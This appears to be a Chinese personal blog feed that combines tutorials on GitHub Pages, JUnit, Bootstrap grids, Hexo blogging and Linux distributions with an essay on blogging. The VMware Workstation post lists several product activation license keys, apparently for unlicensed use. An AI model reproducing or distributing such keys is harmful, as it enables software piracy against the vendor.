第四步：提示在下面的操作中需要电脑中安装了git，并且熟悉几个简单的git命令，关于git的安装以及git命令的使用可以参考从0开始学习 GITHUB 系列之「GIT 速成」，这篇博客将git介绍的非常通俗易懂，安装好git后，先在电脑中创建一个文件夹用于保存从Github中克隆下来的仓库，我建的文件夹叫做demo，在d:\Git路径下，打开命令行进入demo文件夹下

第五步在 命令行中执行https://github.com/leblog/test.git命令

其中git clone表示要克隆一个项目，后面的https://github.com/leblog/test.git表示项目地址，该地址是由第十二步操作获得的，当在最后一行出现了100%表示，远程仓库已经成功的克隆到了本地

第六步：打开demo文件夹，可以看到在文件夹中多了一个test文件，该文件正是刚刚在GitHub中创建的仓库


第七步：打开文件，并且将需要上传到GitHub上的网站添加到该文件中

第八步：打开命令行，并且进入test文件夹下，并且执行 git add .命令，此命令表示将需要提交到git中的文件先添加到缓存

第九步：执行 git commit -m "first commit ."，此命令表示将文件提交到git中，下面显示的都是提交到git中的文件


第十步：执行git push origin master命令，将文件push到GitHub上的master分支上，当出现下图所示的提示信息时，表示网站已经成功的提交到了GitHub上

第十一步：回到Github上的test仓库，可以看到文件已经全部提交上来了

通过观察网址可知，网址的格式为 https:// + GitHub的用户名 + .github.io/ + 仓库的名称

]]> Github 学习笔记 Github 测试知识浅谈 /2018/04/12/ce-shi-zhi-shi-qian-tan/ TDD测试
  • TDD测试驱动编程，编程方法，编程思想
  • 先写测试，再编写业务代码
  • 源码里编码，CRUD

    crud是指在做计算处理时的增加(Create)、读取(Read)、更新(Update)和删除(Delete)几个单词的首字母简写。crud主要被用在描述软件系统中数据库或者持久层的基本操作功能。

User    Save    del    edit    selectUserservice

DDD 领域驱动设计

测试本身也是一套完整的学科

  • 单元测试

    • 白盒测试 能看到完整代码的
    • 黑盒测试 没有源码功能测试
    • 灰盒测试

  • 压力测试

    • 并发数的问题，能够承载多少的并发

  • 疲劳强度测试

    • 长期稳定运行，超过72小时，

  • 冒烟测试

    • 对主要流程的测试，支付环节
    • 对一个功能点疯狂的测试

  • 集成测试

    • 完整功能的测试，最重要的是测试整体业务流程

  • 回归测试

    • 增加一个功能

  • 自动化测试

    • 编码,场景设计

  • review

    • 代码评审
    • 电商 B2B2C eg:如果你是天猫的程序员，去京东去工作，试想一下，如果你在京东其程序中添加后门，双十一让网站停止5分钟，后果不堪设想
]]> JAVA 学习笔记 JUint 软件测试 JUint单元测试 /2018/04/12/juint-dan-yuan-ce-shi/ 概述

JUnit 是用于编写和运行可重复的自动化测试的开源测试框架，这样可以保证我们的代码按预期工作。

JUnit 可广泛用于工业和作为支架(从命令行)或IDE(如 IDEA)内单独的 Java 程序。

JUnit 提供：

  • 断言测试预期结果。

  • 测试功能共享通用的测试数据。

  • 测试套件轻松地组织和运行测试。

  • 图形和文本测试运行。

    JUnit 用于测试：

  • 整个对象

  • 对象的一部分 - 交互的方法或一些方法

  • 几个对象之间的互动(交互)

JUnit 特点

  • JUnit 是用于编写和运行测试的开源框架。
  • 提供了注释，以确定测试方法。
  • 提供断言测试预期结果。
  • 提供了测试运行的运行测试。
  • JUnit 测试让您可以更快地编写代码，提高质量
  • JUnit 是优雅简洁。它是不那么复杂以及不需要花费太多的时间。
  • JUnit 测试可以自动运行，检查自己的结果，并提供即时反馈。没有必要通过测试结果报告来手动梳理。
  • JUnit 测试可以组织成测试套件包含测试案例，甚至其他测试套件。
  • Junit 显示测试进度的，如果测试是没有问题条形是绿色的，测试失败则会变成红色。

POM

pom.xml文件如下：

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.funtl</groupId>
    <artifactId>hello-spring</artifactId>
    <version>1.0.0-SNAPSHOT</version>
    <packaging>jar</packaging>

    <dependencies>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>4.3.17.RELEASE</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
    </dependencies>
</project>

主要增加了 junit:junit 依赖

创建测试类

在测试包下 src/main/test 创建一个名为 MyTest 的测试类，代码如下：

package com.funtl.hello.spring.test;

import org.junit.After;
import org.junit.Before;
import org.junit.Test;

public class MyTest {

    /**
     * 执行测试方法前执行
     */
    @Before
    public void before() {
        System.out.println("执行 before() 方法");
    }

    /**
     * 执行测试方法后执行
     */
    @After
    public void after() {
        System.out.println("执行 after() 方法");
    }

    @Test
    public void testSayHi() {
        System.out.println("Hi Log4j");
    }

    @Test
    public void testSayHello() {
        System.out.println("Hello Log4j");
    }
}

JUnit 注解

注解描述
@Test
public void method()		测试注释指示该公共无效方法它所附着可以作为一个测试用例。
@Before
public void method()		Before 注释表示，该方法必须在类中的每个测试之前执行，以便执行测试某些必要的先决条件。
@BeforeClass
public static void method()		BeforeClass 注释指出这是附着在静态方法必须执行一次并在类的所有测试之前。发生这种情况时一般是测试计算共享配置方法(如连接到数据库)。
@After
public void method()		After 注释指示，该方法在执行每项测试后执行(如执行每一个测试后重置某些变量，删除临时变量等)
@AfterClass
public static void method()		当需要执行所有的测试在 JUnit 测试用例类后执行，AfterClass 注解可以使用以清理建立方法，(从数据库如断开连接)。注意：附有此批注(类似于 BeforeClass)的方法必须定义为静态
@Ignore
public static void method()		当想暂时禁用特定的测试执行可以使用忽略注释。每个被注解为 @Ignore 的方法将不被执行。

JUnit 断言

什么是断言

断言是编程术语，表示为一些布尔表达式，程序员相信在程序中的某个特定点该表达式值为真，可以在任何时候启用和禁用断言验证，因此可以在测试时启用断言而在部署时禁用断言。同样，程序投入运行后，最终用户在遇到问题时可以重新启用断言。

使用断言可以创建更稳定、品质更好且 不易于出错的代码。当需要在一个值为 false 时中断当前操作的话，可以使用断言。单元测试必须使用断言（Junit/JunitX）。

常用断言方法

断言描述
void assertEquals([String message],
expected value, actual value)		断言两个值相等。值可能是类型有 int, short, long,
byte, char or java.lang.Object. 第一个参数是一个可选的字符串消息
void assertTrue([String message],
boolean condition)		断言一个条件为真
void assertFalse([String message]
,boolean condition)		断言一个条件为假
void assertNotNull([String message],
java.lang.Object object)		断言一个对象不为空(null)
void assertNull([String message],
java.lang.Object object)		断言一个对象为空(null)
void assertSame([String message],
java.lang.Object expected,
java.lang.Object actual)		断言，两个对象引用相同的对象
void assertNotSame([String message],
java.lang.Object unexpected,
java.lang.Object actual)		断言，两个对象不是引用同一个对象
void assertArrayEquals([String message],
expectedArray, resultArray)		断言预期数组和结果数组相等。数组的类型可能是 int, long, short, char, byte or java.lang.Object.

测试断言效果

在之前的单元测试类中创建一个名为 `testAssert` 方法来查看断言效果
/**
 * 测试断言
 */
@Test
public void testAssert() {
    String obj1 = "junit";
    String obj2 = "junit";
    String obj3 = "test";
    String obj4 = "test";
    String obj5 = null;
    int var1 = 1;
    int var2 = 2;
    int[] arithmetic1 = {1, 2, 3};
    int[] arithmetic2 = {1, 2, 3};

    assertEquals(obj1, obj2);

    assertSame(obj3, obj4);

    assertNotSame(obj2, obj4);

    assertNotNull(obj1);

    assertNull(obj5);

    assertTrue("为真", var1 == var2);

    assertArrayEquals(arithmetic1, arithmetic2);
}
]]> JAVA 学习笔记 JAVA JUint Bootstrap之网格系统 /2018/04/03/bootstrap-zhi-wang-ge-xi-tong/ Bootstrap网格系统

Bootstrap 提供了一套响应式、移动设备优先的流式网格系统，随着屏幕或视口（viewport）尺寸的增加，系统会自分为最多12列。

什么是网格（Grid）？

摘自维基百科：

在平面设计中，网格是一种由一系列用于组织内容的相交的直线（垂直的、水平的）组成的结构（通常是二维的）。它广泛应用于打印设计中的设计布局和内容结构。在网页设计中，它是一种用于快速创建一致的布局和有效地使用 HTML 和 CSS 的方法。

简单地说，网页设计中的网格用于组织内容，让网站易于浏览，并降低用户端的负载。

什么是 Bootstrap 网格系统（Grid System）？

Bootstrap 包含了一个响应式的、移动设备优先的、不固定的网格系统，可以随着设备或视口大小的增加而适当地扩展到 12 列。它包含了用于简单的布局选项的预定义类，也包含了用于生成更多语义布局的功能强大的混合类。

让我们来理解一下上面的语句。Bootstrap 3 是移动设备优先的，在这个意义上，Bootstrap 代码从小屏幕设备（比如移动设备、平板电脑）开始，然后扩展到大屏幕设备（比如笔记本电脑、台式电脑）上的组件和网格。

移动设备优先策略

  • 内容
    • 决定什么是最重要的。
  • 布局
    • 优先设计更小的宽度。
    • 基础的 CSS 是移动设备优先，媒体查询是针对于平板电脑、台式电脑。
  • 渐进式增强
    • 随着屏幕大小的增加而添加元素。

响应式网格系统随着屏幕或视口（viewport）尺寸的增加，系统会自动分为最多12列。

name价格数量name价格数量name价格数量name价格数量
香蕉$15香蕉$15香蕉$15香蕉$15
苹果$16苹果$16苹果$16苹果$16
草莓$17草莓$17草莓$17草莓$17

Bootstrap 网格系统（Grid System）的工作原理

网格系统通过一系列包含内容的行和列来创建页面布局。下面列出了 Bootstrap 网格系统是如何工作的：

- 行必须放置在 .container class 内，以便获得适当的对齐（alignment）和内边距（padding）。- 使用行来创建列的水平组。- 内容应该放置在列内，且唯有列可以是行的直接子元素。- 预定义的网格类，比如 .row 和 .col-xs-4，可用于快速创建网格布局。LESS 混合类可用于更多语义布局。- 列通过内边距（padding）来创建列内容之间的间隙。该内边距是通过 .rows 上的外边距（margin）取负，表示第一列和最后一列的行偏移。- 网格系统是通过指定您想要横跨的十二个可用的列来创建的。例如，要创建三个相等的列，则使用三个 .col-xs-4。

媒体查询

媒体查询是非常别致的”有条件的 CSS3 规则”。它只适用于一些基于某些规定条件的 CSS。如果满足那些条件，则应用相应的样式。

Bootstrap 中的媒体查询允许您基于视口大小移动、显示并隐藏内容。下面的媒体查询在 LESS 文件中使用，用来创建 Bootstrap 网格系统中的关键的分界点阈值。

/* 超小设备（手机，小于 768px） /
/ Bootstrap 中默认情况下没有媒体查询 /
/ 小型设备（平板电脑，768px 起） /
@media (min-width: @screen-sm-min) { … }
/ 中型设备（台式电脑，992px 起） /
@media (min-width: @screen-md-min) { … }
/ 大型设备（大台式电脑，1200px 起） */
@media (min-width: @screen-lg-min) { … }
我们有时候也会在媒体查询代码中包含 max-width，从而将 CSS 的影响限制在更小范围的屏幕大小之内。
@media (max-width: @screen-xs-max) { … }
@media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) { … }
@media (min-width: @screen-md-min) and (max-width: @screen-md-max) { … }
@media (min-width: @screen-lg-min) { … }
媒体查询有两个部分，先是一个设备规范，然后是一个大小规则。在上面的案例中，设置了下列的规则：
让我们来看下面这行代码：

@media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) { ... }

对于所有带有 min-width: @screen-sm-min 的设备，如果屏幕的宽度小于 @screen-sm-max，则会进行一些处理。

网格选项

下表总结了 Bootstrap 网格系统如何跨多个设备工作：

超小设备手机（<768px）    小型设备平板电脑（≥768px）    中型设备台式电脑（≥992px）    大型设备台式电脑（≥1200px）
超小设备手机（<768px）小型设备平板电脑（≥768px）中型设备台式电脑（≥992px）大型设备台式电脑（≥1200px）
网格行为一直是水平的以折叠开始，断点以上是水平的以折叠开始，断点以上是水平的
最大容器宽度None (auto)750px970px
Class 前缀.col-xs-.col-sm-.col-md-
列数量和121212
最大列宽Auto60px78px
间隙宽度30px（一个列的每边分别 15px）30px（一个列的每边分别 15px）30px（一个列的每边分别 15px）
可嵌套YesYesYes
偏移量YesYesYes
列排序YesYesYes

基本的网格结构

下面是 Bootstrap 网格的基本结构：

 <div style="border: 1px" class="container">    <div class="row">        <div class="col-md-4 col-xs-4" style="border: 1px red solid">左</div>        <div class="col-md-4 col-xs-4" style="border: 1px red solid">右</div>    </div>    <div class="row">        <div class="col-md-6" style="border: 1px yellow solid">左</div>        <div class="col-md-6" style="border: 1px yellow solid">右</div>    </div></div>

让我们来看几个简单的网格实例：

  • 实例：堆叠的水平

  • 实例：中型和大型设备

  • 实例：手机、平板电脑、台式电脑

响应式的列重置

以下实例包含了4个网格，但是我们在小设备浏览时无法确定网格显示的位置。

为了解决这个问题，可以使用 .clearfix class和 响应式实用工具来解决，如下面实例所示：

<div class="container"><div class="row" >    <div class="col-xs-6 col-sm-3"         style="background-color: #dedef8;        box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;">        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit.</p>    </div>    <div class="col-xs-6 col-sm-3"     style="background-color: #dedef8;box-shadow:     inset 1px -1px 1px #444, inset -1px 1px 1px #444;">        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do         eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut         enim ad minim veniam, quis nostrud exercitation ullamco laboris         nisi ut aliquip ex ea commodo consequat.        </p>        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do         eiusmod tempor incididunt ut.         </p>    </div>    <div class="clearfix visible-xs"></div>    <div class="col-xs-6 col-sm-3"     style="background-color: #dedef8;    box-shadow:inset 1px -1px 1px #444, inset -1px 1px 1px #444;">        <p>Ut enim ad minim veniam, quis nostrud exercitation ullamco         laboris nisi ut aliquip ex ea commodo consequat.         </p>    </div>    <div class="col-xs-6 col-sm-3"     style="background-color: #dedef8;box-shadow:     inset 1px -1px 1px #444, inset -1px 1px 1px #444;">        <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do         eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut         enim ad minim         </p>    </div></div>

请看一下效果：

电脑端案例：浏览器上调整窗口大小查看变化，或在您手机上查看效果。

偏移列

偏移是一个用于更专业的布局的有用功能。它们可用来给列腾出更多的空间。例如，.col-xs-* 类不支持偏移，但是它们可以简单地通过使用一个空的单元格来实现该效果。

为了在大屏幕显示器上使用偏移，请使用 .col-md-offset-* 类。这些类会把一个列的左外边距（margin）增加 * 列，其中 * 范围是从 1 到 11。

在下面的实例中，我们有

..
，我们将使用 .col-md-offset-3 class 来居中这个 div。

<div class="container"><h1>Hello, Bootstrap!</h1><div class="row" >    <div class="col-md-6 col-md-offset-3"         style="background-color: #dedef8;box-shadow:     inset 1px -1px 1px #444, inset -1px 1px 1px #444;">        <p>Lorem ipsum dolor sit amet, consectetur adipisicing            elit.        </p>    </div></div>

结果如下：

嵌套列

为了在内容中嵌套默认的网格，请添加一个新的 .row，并在一个已有的 .col-md-* 列内添加一组 .col-md-* 列。被嵌套的行应包含一组列，这组列个数不能超过12（其实，没有要求你必须占满12列）。

在下面的实例中，布局有两个列，第二列被分为两行四个盒子。

Hello, world!

<div class="col-md-3" style="background-color: #dedef8;box-shadow:    inset 1px -1px 1px #444, inset -1px 1px 1px #444;">   <h4>第一列</h4>   <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit.</p></div><div class="col-md-9" style="background-color: #dedef8;box-shadow:    inset 1px -1px 1px #444, inset -1px 1px 1px #444;">   <h4>第二列 - 分为四个盒子</h4>   <div class="row">      <div class="col-md-6" style="background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;">         <p>Consectetur art party Tonx culpa semiotics. Pinterest             assumenda minim organic quis.         </p>      </div>      <div class="col-md-6" style="background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;">         <p> sed do eiusmod tempor incididunt ut labore et dolore magna             aliqua. Ut enim ad minim veniam, quis nostrud exercitation             ullamco laboris nisi ut aliquip ex ea commodo consequat.         </p>      </div>   </div>   <div class="row">      <div class="col-md-6" style="background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;">         <p>quis nostrud exercitation ullamco laboris nisi ut             aliquip ex ea commodo consequat.         </p>      </div>         <div class="col-md-6" style="background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;">         <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit,             sed do eiusmod tempor incididunt ut labore et dolore magna             aliqua. Ut enim ad minim.</p>      </div>   </div></div>
**运行效果：**![](https://i.imgur.com/qi2aEBu.png)

注：CSS3 box-shadow 属性向 div 元素添加阴影：https://www.runoob.com/cssref/css3-pr-box-shadow.html

列排序

Bootstrap 网格系统另一个完美的特性，就是您可以很容易地以一种顺序编写列，然后以另一种顺序显示列。

您可以很轻易地改变带有 .col-md-push-* 和 .col-md-pull-* 类的内置网格列的顺序，其中 * 范围是从 1 到 11。

在下面的实例中，我们有两列布局，左列很窄，作为侧边栏。我们将使用 .col-md-push-*和 .col-md-pull-* 类来互换这两列的顺序

<div class="row">    <p>排序前</p>    <div class="col-md-4" style="background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;">        我在左边    </div>    <div class="col-md-8" style="background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;">        我在右边    </div></div><br> <div class="row">    <p>排序后</p>    <div class="col-md-4 col-md-push-8"         style="background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444,     inset -1px 1px 1px #444;">        我在左边    </div>    <div class="col-md-8 col-md-pull-4"         style="background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444,     inset -1px 1px 1px #444;">        我在右边    </div></div>

演示结果：

]]> 学习笔记 bootstrap 学习笔记 VMware Workstation Pro 15下载 /2018/03/18/vmware-workstation-pro-15-xia-zai/ Windows平台最强虚拟机软件已经更新到了VM15 版本了，VMware Workstation Pro 15 全面进行了改造重新制作了UI界面及LOGO图标，VMware Workstation 允许操作系统和应用程序在一台虚拟机内部运行。

虚拟机是独立运行主机操作系统的离散环境。在 VMware Workstation 中，你可以在一个窗口中加载一台虚拟机，它可以运行自己的操作系统和应用程序。

你可以在运行于桌面上的多台虚拟机之间切换，通过一个网络共享虚拟机，挂起和恢复虚拟机以及退出虚拟机，这一切不会影响你的主机操作和任何操作系统或者其它正在运行的应用程序。

** 激活密钥许可证VMware Workstation Pro 15 **

激活许可证

UY758-0RXEQ-M81WP-8ZM7Z-Y3HDA

VF750-4MX5Q-488DQ-9WZE9-ZY2D6

UU54R-FVD91-488PP-7NNGC-ZFAX6

YC74H-FGF92-081VZ-R5QNG-P6RY4

YC34H-6WWDK-085MQ-JYPNX-NZRA2

下载地址VMware Workstation Pro 15.5.0 Build 14665864

https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.5.0-14665864.exe

VMware Workstation Pro 15.1.0 Build 13591040
https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.1.0-13591040.exe

VMware Workstation Pro 14.1.3 Build 9474260
https://download3.vmware.com/software/wkst/file/VMware-workstation-full-14.1.3-9474260.exe
*
*VMware Workstation Pro 12.5.9 Build 7535481
https://download3.vmware.com/software/wkst/file/VMware-workstation-full-12.5.9-7535481.exe

VMware Workstation 10.0.7 Build 2844087
https://download3.vmware.com/software/wkst/file/VMware-workstation-full-10.0.7-2844087.exe

黑苹果链接（感谢论坛友人分享）

链接：https://pan.baidu.com/s/1ZouLWPk2QGdAapwrWjuz_Q
提取码：xxmn

]]> 资源 资源 ubuntu与centos的区别 /2018/03/16/ubuntu-yu-centos-de-qu-bie/ ubuntu与centos的区别

共同点

1.两个系统都分别有桌面系统与服务器系统，不过ubuntu的桌面从外观上来看要比centos的漂亮

不同点

1.centos中新建的普通用户是没有sudo权限的，如果想让普通用户拥有sudo权限需要在/etc/sudoers文件中添加用户的权限，而ubuntu系统普通用户想要使用sudo权限 直接使用sudo +命令行的方式就可以了

2.安装软件包命令格式不一样。centos使用yum的方式，而Ubuntu使用apt-get 方式。

3.由于centos是基于redhat的，所以centos支持rpm包，但Ubuntu不支持。

4.现在虽然说ubuntu系统也可以使用服务器端来进行使用了，但相对centos来说并没有centos稳定。而且在一些比较知名的技术论坛大多都是关于centos的，所以在遇到问题查询资料的时候相对要比ubuntu要更方便一些。如下图中centos中文站技术论坛，是很多学习者经常查询问题的地方。

]]> Linux Linux ubuntu centos Git page搭建个人博客教程 /2018/03/11/hexo-github-1/

有任何问题请联系我扣扣：1260842695，vx：szhll5201314，24小时随时在线哦
如果觉得有用的话可以看心情打赏一杯奶茶，我会很开心哒。

我的博客源代码地址

大家可以直接素质二连，star&fork我的博客源代码：https://github.com/leblog
然后改改配置就可以写文章啦。

首先将所有文件下载到本地。
解压node_modules.zip，然后删除node_modules.zip和.git文件夹。
还缺一个字体（为图片添加水印需要用到），去C:\Windows\Fonts下找到STSong Regular，复制到hexo-matery-modified文件夹下。

快速搭建

如果你不想自己从头开始慢慢自定义主题的话，可以直接下载我的修改好的主题，然后稍微修改几个地方就好了：

根目录配置文件_config.yml和主题目录配置文件_config.yml中修改个人信息。
根目录配置文件中修改deploy一栏的repository。
根目录配置文件中修改baidu_url_submit一栏的token。
主题配置文件中修改gitalk一栏，修改方法见正文。
当然前提是个性化设置章节之前的环境还是需要配置好！

平时常用命令：

    hexo g  # 生成博客网页文件hexo s  # 本地预览博客hexo d  # 上传网页文件到github

前言

17年9月的时候开始搭建了第一个自己的独立博客，到现在也稍微像模像样了。很多小伙伴应该也想过搭建一个自己的博客，网上也有一堆详细教程。我在此稍稍总结一下具体的搭建步骤，另外网上很少有修改博客源码的个性化教程，我就稍稍分享一下我的一些修改经验，更多的个性化操作需要你自己以后去摸索。

具体效果可以参观我的博客：leblog.github.io，欢迎大家支持。

我不是一个前端程序员，有些东西不是很了解，写的有问题或有改进的地方请大家指出。

首先要了解一下我们搭建博客要用到的框架。Hexo是高效的静态站点生成框架，它基于Node.js。通过Hexo，你可以直接使用Markdown语法来撰写博客。相信很多小伙伴写工程都写过README.md文件吧，对，就是这个格式的！写完后只需两三条命令即可将生成的网页上传到你的github上，然后别人就可以看到你的网页啦。是不是很简单？你无需关心网页源代码的具体细节，你只需要用心写好你的博客内容就行。

目录结构

  • 安装Node.js
  • 添加国内镜像源
  • 安装Git
  • 注册Github账号
  • 安装Hexo
  • 连接Github与本地
  • 写文章、发布文章

安装Node.js

首先下载稳定版Node.js，我这里给的是64位的。

安装选项全部默认，一路点击Next。

最后安装好之后，按Win+R打开命令提示符，输入node -v和npm -v，如果出现版本号，那么就安装成功了。

添加国内镜像源
如果没有梯子的话，可以使用阿里的国内镜像进行加速。

    npm config set registry https://registry.npm.taobao.org

安装Git

为了把本地的网页文件上传到github上面去，我们需要用到分布式版本控制工具————Git[下载地址]。

安装选项还是全部默认，只不过最后一步添加路径时选择Use Git from the Windows Command Prompt，这样我们就可以直接在命令提示符里打开git了。

安装完成后在命令提示符中输入git –version验证是否安装成功

注册Github账号
接下来就去注册一个github账号，用来存放我们的网站。大多数小伙伴应该都有了吧，作为一个合格的程序猿（媛）还是要有一个的。

打开https://github.com/，新建一个项目，如下所示：


然后如下图所示，输入自己的项目名字，后面一定要加.github.io后缀，README初始化也要勾上。名称一定要和你的github名字完全一样，比如你github名字叫abc，那么仓库名字一定要是abc.github.io

然后项目就建成了，点击Settings，向下拉到最后有个GitHub Pages，点击Choose a theme选择一个主题。然后等一会儿，再回到GitHub Pages，会变成下面这样：

然后完成。

安装Hexo

在合适的地方新建一个文件夹，用来存放自己的博客文件，比如我的博客文件都存放在D:\study\program\blog目录下。

在该目录下右键点击Git Bash Here，打开git的控制台窗口，以后我们所有的操作都在git控制台进行，就不要用Windows自带的控制台了。

定位到该目录下，输入npm i hexo-cli -g安装Hexo。会有几个报错，无视它就行。

安装完后输入hexo -v验证是否安装成功。

然后就要初始化我们的网站，输入hexo init初始化文件夹，接着输入npm install安装必备的组件。

这样本地的网站配置也弄好啦，输入hexo g生成静态网页，然后输入hexo s打开本地服务器，然后浏览器打开http://localhost:4000/，就可以看到我们的博客啦，效果如下：

按ctrl+c关闭本地服务器。

连接Github与本地服务器
首先右键打开git bash，然后输入下面命令：

        git config --global user.name "lebolg"    git config --global user.email "1260842695@qq.com"

用户名和邮箱根据你注册github的信息自行修改。
然后生成密钥SSH key：

            ssh-keygen -t rsa -C "1260842695@qq.com"

打开github，在头像下面点击settings，再点击SSH and GPG keys，新建一个SSH，名字随便。

git bash中输入

            cat ~/.ssh/id_rsa.pub

将输出的内容复制到框中，点击确定保存。

输入ssh -T git@github.com，如果如下图所示，出现你的用户名，那就成功了。

打开博客根目录下的_config.yml文件，这是博客的配置文件，在这里你可以修改与博客相关的各种信息。

修改最后一行的配置：

            deploy:          type: git          repository: https://github.com/lebolg/lebolg.github.io          branch: master

repository修改为你自己的github项目地址。

写文章、发布文章

首先在博客根目录下右键打开git bash，安装一个扩展npm i hexo-deployer-git。

然后输入hexo new post “article title”，新建一篇文章。

然后打开D:\study\program\blog\source_posts的目录，可以发现下面多了一个文件夹和一个.md文件，一个用来存放你的图片等数据，另一个就是你的文章文件啦。

编写完markdown文件后，根目录下输入hexo g生成静态网页，然后输入hexo s可以本地预览效果，最后输入hexo d上传到github上。这时打开你的github.io主页就能看到发布的文章啦。

]]> 博客 博客 为什么说程序员都应该写一写博客 /2018/03/10/2018-leblog/

不是大牛就不能写博客了吗？

几乎每一个程序员都听说过写博客有很多好处，但真的动手去写的却很少。其中有一个很重要的原因就是，有些人心里会认为：我不是大牛，写出来的博客没意义。

有任何问题请联系我扣扣：1260842695，vx：szhll5201314，24小时随时在线哦
如果觉得有用的话可以看心情打赏一杯奶茶，我会很开心哒。


有这种心理很正常，只是每个人表现出来的方式不太一样。像我五音不全，就非常讨厌去KTV，就算因为公司团建同学聚会实在拗不过别人真的去了，也从来不开口唱，因为怕被别人笑。有些人不爱打扮不是因为完全没有眼光没有审美基础，其实他们也知道什么衣服好看什么衣服不好看，只是因为觉得自己长相普通身材不好，所以就不愿意把时间精力花在这些地方。归根到底，就是觉得只有出色才应该表现自己。

你不是大牛，照样可以写博客。有一次，我用几个流行的框架组合搭建一个新项目，过程中报了一个错，报错的日志信息不清不楚，完全不知道从何下手。于是就把自己情况提取关键字在网上搜索，看到有一个网友写的博客记录了一模一样的问题，并且提供了他的解决办法。我根据他说的步骤去做，果然就解决了这个问题。他不是大牛，那篇博客也写得非常简单，但是的确解决了这个困扰了我大半天的问题，帮我节省了很多时间。我们在学习工作的时候，也会遇到很多问题，这些问题很有可能别人一样也会遇到。解决问题之后，我们可以把解决过程写成一篇简单的博客，既可以让自己积累经验，也能为其他有需要的网友提供帮助。


你不是大牛，更应该试试写博客。无论是程序开发，还是测试运维，吃的这碗饭都是干技术的。技术更新速度非常快，所以我们即便离开了校园照样要学习许多新知识。有些技术大牛，由于经验丰富和技术水平高，面对一个新出来的技术，可能只需要看看官方文档和源代码，再写几个简单的实验小项目就已经熟悉和掌握了。我们不是大牛，有可能因为英文水平不够看不懂官方文档，有可能因为经验不足不知道怎么研究几十万行级别的源代码，甚至有可能不知道要怎么搭建一个使用这个新技术的项目。这时候我们就需要去看书，看技术博客，借助资料去学习，根据别人指出的方向去摸索。这个过程当中，我们就应该试试写博客，把学习笔记写下来，把自己摸索的经历写下来，整理学习的思路，而不是看过就忘、学过就丢。

#不是大牛就不能写博客了吗？
其实这个问题就是一层窗户纸，大家都知道自己能写，而且还有可能可以写得很好。你的博客一定会有其不可替代的意义，既可以为他人提供帮助，也是对自己在学习公众道路上有所助益的一件事。即便你现在的技术水平不高，还是一个刚入门的菜鸟，也一样应该试着写一写博客。

我的博客历史之红与黑

写博客是一件并不困难的事，但是也绝对不容易，不然也不会有那么多人还没有开始写自己的第一篇博客。坚持写博客是一件有点困难的事情，在这一点上我深有体会。接下来我想跟大家分享一下近几年来写博客和公众号文章的感想，有很多提起就觉得尴尬的黑历史，也有一些自己觉得很有意义的红历史。

先从黑历史讲起。一开始写的博客很烂，现在回头去看简直是辣眼睛。我第一篇在博客园发的博客是讲如何搭建Java Web MVC框架的，直到现在还能在我的博客主页里面看到。当时我还在上大学，其实对web开发和MVC框架都是一窍不通的，结果写出来的东西也是乱七八糟，无论是排版还是内容都惨不忍睹。

再讲讲红历史。从我写的第一篇博客开始就给了我很多的鼓励，这主要是体现在阅读量和友好的评论这两方面上。有了大家的鼓励，我才能坚持到现在。写的第一篇我觉得比较好的博客就是《程序猿崛起2》，虽然质量仍然不高，但是比起之前的文章来说，有了自己的观点和想法，显得没有那么空洞。再说说我的公众号，因为读者组成的关系，所以在上面很少会专门谈论技术，主要是写一些我在看书过程中产生的一些想法和观点。受到《暗时间》的影响，我平时看了大量的关于心理学、社会学的书。有的时候每周一篇，有的时候半个月一篇，就这样坚持了三年。现在的写作能力和思考能力，都有了比之前不少的进步。

互联网最重要的分享,这才是互联网最可贵的互助精神

写博客写文章的人，都会遇到两个麻烦。第一个麻烦就是有人会泼你冷水，甚至是打着好心提建议的旗号泼你的冷水。不要理会他们的说三道四，直接就把他们拉黑就好。新手一开始需要的是鼓励和认同，绝对不是那些非建设性意见的批评。曾经有个大学同学看了我的文章，说：“你写的没什么内容啊，就是一些大话。”我直接就把他屏蔽掉了。第二个麻烦就是坚持不下去，写了一两篇就再也不写了。首先你要培养对写作的兴趣，感受写文章的快乐。当然了，像我这样会为一个关注数只有四五百的公众号每个星期写文章、每篇文章顶了天一百多阅读数的人来说，如果不是真心喜欢，根本坚持不下来。然后你要想想那些朋友和网友的鼓励，不要辜负他们的一片好心。我经常会特别感谢那些在我的博客下面评论“加油”的人，因为简简单单的几个字就能给我很大的力量，鼓励我继续写下去。我们要相信，只要坚持下去，除了那些找存在感的人泼你冷水，还有更多的热心人给你加油鼓劲。

实干兴邦，空谈误国

动动手，让我们开始写一写博客
列举了这么多写博客的好处，相信已经有很多人都已经跃跃欲试了。不如趁热打铁，我们现在就花几分钟的时间来体验一下写博客到底要怎么写。不要紧张，这一点都不难，只要接下来一步一步跟着做就可以了。

最后再多说两句
